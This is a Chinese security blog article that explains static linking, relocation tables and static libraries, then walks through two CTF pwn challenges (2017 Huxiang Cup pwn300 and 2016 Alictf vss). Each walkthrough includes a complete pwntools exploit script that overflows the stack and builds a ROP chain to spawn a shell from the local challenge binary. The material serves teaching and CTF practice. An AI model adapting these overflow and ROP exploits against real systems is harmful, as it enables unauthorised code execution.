深入理解静态链接

阅读量512119

|

发布时间 : 2019-08-21 14:35:18

 

前言

程序经过预编译,编译和汇编直接输出目标文件(Object File).问题抛出:为什么汇编器不直接输出可执行文件而是输出一个目标文件?

 

静态链接

链接是指在计算机程序的各模块之间传递参数和控制命令,并把它们组成一个可执行的整体的过程。在编写程序的时候,程序员把每个源代码模块独立的进行编译,然后按照需要将它们组装起来,这个组装模块的过程就是链接。这一过程就好像拼图一样,各个模块间依靠符号来通信,定义符号的模块多出一块区域,引用该符号的模块刚好少了那一块区域,两者拼接,完美组合。(这个比喻很恰当)

回答刚才的问题,为什么要有链接这一步骤。比如我们程序模块a.c中使用另外一个模块中的函数如printf()函数。我们在a.c模块中每一次调用printf()的函数时候都必须知道printf()这个函数的地址,但是由于每个模块都是单独编译的,编译器在编译a.c的时候无法得知printf()函数的地址.所以暂时将目标地址搁置。如图:

U表示:Undefined未定义

假设不使用链接器,我们需要手工的对printf()地址进行修正,这个工作量是巨大的,而且一旦printf()模块重新编译,函数地址也要相对应调整。这种方法显然是不可取的。使用链接器可以规避这一切,当链接器在链接的时候,会根据你所引用的符号printf,自动去相应模块去寻找printf()函数地址,然后在a.c模块中所有引用printf()函数的指令重新修正。这就是静态链接的最基本过程和作用。

这是正常链接之后的效果:

此时再查看重定位表,.rodata存放的是字符串常量“hello world! ”,RELOCATIN RECORDS FOR[.text]表示代码段的重定位表

当尝试链接的时候报错,printf这个外部符号未定义

接着将静态库(之后有详细介绍)lbc.a解压至当前目录,再次尝试链接,发现链接再次失败。因为在printf.o中存在两个未定义的符号,”stdout””vfprintf”。说明”printf.o”依赖于其他目标文件。

链接的大致流程图如下:

Tip:编译的时候加上-fno-builtin参数,否则gcc会进行优化,因为printf()函数只有一个参数会被优化为puts()来提高效率。

接下来再给大家介绍在静态链接中不可缺少的部分。

 

静态库

在链接阶段,会将汇编生成的目标文件.o与引用到的库一起链接打包到可执行文件(.out)中。试想一下,静态库之所以能与与汇编生成的目标文件一起链接为可执行文件,说明静态库格式必定跟.o文件格式相似。其实一个静态库可以简单看成是一组目标文件(.o 文件)的集合,即很多目标文件经过压缩打包后形成的一个文件。

我的系统是:

我的路径是cd /usr/lib/x86_64-linux-gnu

用ar工具查看这个文件包含了哪些目标文件

静态库特点:静态库对函数库的链接是放在编译时期完成,程序在运行时与函数库再无瓜葛,移植方便,运行速度快。

但这样也带来了很多缺点,最明显的就是浪费空间和资源,静态链接方式对于计算机内存和磁盘的空间浪费十分严重。因为许多程序会包含大量相同的公共代码,造成浪费。

另一个问题是静态库对程序的更新比较麻烦,如果静态库libc.a更新了,所有使用它的应用程序都需要重新编译,尽管有时候只是一个小小的改动。

链接的过程主要包括地址和空间分配(Address and Storage Allocation),符号决议(Symbol Resolution)和重定位(Relocation)。

Tip:符号决议更倾向于静态链接,而符号绑定更倾向于动态链接。

可以在编译的时候加上-verbose表示将整个编译链接过程的中间步骤打印出来

gcc -static —verbose -fno-builtin a.c

-verbose表示将整个编译链接过程的中间步骤打印出来

 

实例一:2017湖湘杯pwn300

用file命令查看,静态链接

第一步:查看程序开了什么保护

第二步:拖入ida进行静态分析,就是一个简单的计算器

溢出点在这里,因为v7是用户输入,且是可控的,所以当v7足够大时,可以溢出到v6

溢出点也非常容易找,用gdb调试即可看出。16个int数据即可实现栈溢出。

第三步:构造ROPgadget

可以直接使用ROPgadget —binary pwn300 —ropchain自动构造rop链

注意对”/bin”和”//sh”进行处理

还需要注意一点:memcpy()函数后面有一个free函数,可以用free(0)进行绕过,不做任何处理。

贴出exp脚本:

from pwn import *
context.log_level="debug"
p = process('./pwn300')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])
shellcode=['0x0806ed0a', '0x080ea060', '0x080bb406', '0x6e69622f', '0x080a1dad', '0x0806ed0a', '0x080ea064', '0x080bb406', '0x68732f2f', '0x080a1dad', '0x0806ed0a', '0x080ea068', '0x08054730', '0x080a1dad', '0x080481c9', '0x080ea060', '0x0806ed31', '0x080ea068', '0x080ea060', '0x0806ed0a', '0x080ea068', '0x08054730', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x08049781']
payload = []
for i in shellcode:
     payload.append(int(i,16))
size = len(payload)
p.recvuntil('calculate:')
p.sendline('255')
for i in range(16):
    p.recvuntil('5 Save the result')
    p.sendline('1')
    p.recvuntil('input the integer x:')
    p.sendline('0')
    p.recvuntil('input the integer y:')
    p.sendline('0')

for i in range (size):
    p.recvuntil('5 Save the result')
    p.sendline('1')
    p.recvuntil('input the integer x:')
    p.sendline(str(payload[i]))
    p.recvuntil('input the integer y:')
    p.sendline('0')

p.sendline('5')
raw_input()
p.interactive()

 

实例二:2016 Alictf vss

用file确定静态链接

第一步:查看保护

这个题还有一个很坑的地方,出题人强行增加了题目难度,它把elf文件的符号信息给清除了,这样你IDA静态分析的时候非常不方便。

正常情况下编译出来的共享库或可执行文件里面带有符号信息和调试信息,这些信息在调试的时候非常有用,但是当文件发布时,这些符号信息用处不大,并且会增大文件大小,这时可以清除掉可执行文件的符号信息和调试信息,文件尺寸可以大大减小。

可以使用strip命令实现清除符号信息的目的。

第二步:拖入ida静态分析,在做pwn题的时候,非常推荐大家看汇编,而不是C伪代码。因为我是从逆向转pwn的,我在做pwn题的时候,会着重看汇编代码,从中找到有用的信息,而且这样也可以帮助你更好地理解底层的调用。

通过关键字符串搜索找到主函数

题目的逻辑还是挺清晰的,关键函数是sub_40108E(),查看汇编代码

因为删除了符号表,导致ida很多函数都分析不出来,但是根据函数参数和C伪代码的分析,可以大胆猜测sub_400330是strncpy函数。

依据有两点:char strncpy(char dest, const char *src, int n)三个参数符合形式。在执行了sub_400330函数以后,程序只对v4数组进行操作,而不是input,可以看出,是把用户输入复制到了v4处。

我这题是用edb调试的,发现溢出点是strncpy将输入的第0x48到0x50这8个字节复制到v4时会覆盖返回值。

但是现在还有一个问题,就是strncpy(),这个函数以”x00”为截断字符,但是这是64位程序,地址不可避免的会出现00,此时可以找到一个gadget将栈抬高,再填充ropchain。

整体思路:

用read函数向bss段写入”/bin/sh”字符串,然后调用execve()拿到shell()

第三步:有了思路,就开始干!!

找到一个可写的段,我选取的是0x006c81a8-0x100的位置

程序里面也提供了syscall()

这里还要用到一个网站,因为64位系统是用寄存器传参的,所以要想调用read(),需要知道函数的系统调用号,和相应寄存器的值

https://w3challs.com/syscalls/?arch=x86_64

如图:

贴出我的exp:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context(os='linux',arch='x86_64',log_level="debug")
p = process("./vss")
add_esp =0x46f2f1
pop_rax =0x46f208
pop_rdx_rsi =0x43ae29
pop_rdi = 0x401823
payload = flat([0x6162636465667970],'a'*0x40,[add_esp],'b'*40,[pop_rax],0,[pop_rdx_rsi],8,[0x6c80a8],[pop_rdi],0,[0x437d35]) 
log.info("------------------------------ call read -------------------------------------------") 
pop_rax1 = 0x46f208
pop_rdx_rsi1 = 0x43ae29
pop_rdi1 = 0x401823
payload +=flat([pop_rax1],[0x3b],[pop_rdx_rsi1],0,0,[pop_rdi1],[0x6c80a8],[0x437d35])
p.sendline(payload)
p.sendline('/bin/shx00')
p.interactive()

 

小结

希望这篇文章对大家的学习有所帮助,如有不足,请大家积极指出,谢谢。

参考

《程序员的自我修养—链接,装载与库》 (俞甲子 石凡 潘爱民著)

https://www.cnblogs.com/skynet/p/3372855.html

https://bbs.pediy.com/thread-224644.htm

本文由寅儿原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/184434

安全KER - 有思想的安全新媒体

分享到:微信
+117赞
收藏
寅儿
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66